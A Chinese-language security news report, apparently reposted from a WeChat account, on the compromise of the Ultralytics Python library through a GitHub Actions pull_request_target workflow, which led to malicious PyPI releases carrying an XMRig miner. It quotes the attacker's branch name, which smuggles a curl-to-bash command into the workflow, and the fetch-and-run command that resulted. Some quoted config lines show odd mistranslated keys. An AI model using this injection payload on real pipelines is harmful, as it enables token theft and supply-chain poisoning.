广泛应用于计算机视觉任务的Python库Ultralytics的存储库遭到攻击。利用此漏洞,网络犯罪分子在 PyPI 上发布了该库的恶意版本,专为加密货币挖掘而设计。
该漏洞与 ultralytics-actions 包相关,该包可以自动启动存储库中某些操作的处理程序。
这就是 GitHub Actions 机制的用途。
在 Ultralytics 项目中,附加到pull_request_target事件的处理程序调用 format.yml 文件来格式化传入拉取请求中的代码。
该文件运行带有通配符模式的 shell 命令,例如:
git pull origin ${{ github.head_ref || github.ref }}
git config –global utente.nome “${{ input.github_nomeutente }}”
git config –global user.email “${{ input.github_email }}”
攻击者向 Ultralytics 存储库发送拉取请求,指定以下行作为分支名称:
openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
这导致运行命令:
curl -sSfL raw.githubusercontent.com/…/file.sh | bash
结果,攻击者获得了存储库令牌和其他敏感数据的访问权限。
据信,他们修改了发布管理器,删除了对有权向 PyPI 发布版本的帐户的验证,并使用GitHub Actions 构建缓存中毒技术将自己的数据注入到版本中。
Ultralytics 的第一个恶意版本(版本 8.3.41)于 12 月 4 日晚上 11:51(MSK)发布到 PyPI,并于第二天中午 12:15 删除。
另一个版本 8.3.42 于下午 3.47 发布,于下午 4.47 被删除。
因此,恶意版本在大约 13 小时内仍可供下载。
这些版本包含从外部服务器下载 XMRig 挖掘组件的代码。
开发人员很快修复了该问题并发布了修复版本 8.3.43 和 8.3.44。
然而两天后,攻击者再次发布了恶意版本8.3.45和8.3.46,其中包含不同的代码。
在调查完成之前,建议用户不要安装新版本并提交版本 8.3.44 作为依赖项。
GitHub Actions 处理程序中的错误导致恶意 Ultralytics 版本的发布
https://www.linux.org.ru/news/security/17814028
https://www.opennet.ru/opennews/art.shtml?num=62365
原文始发于微信公众号(网络研究观):供应链受到攻击计算机视觉任务 Python 库已被黑客攻击!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论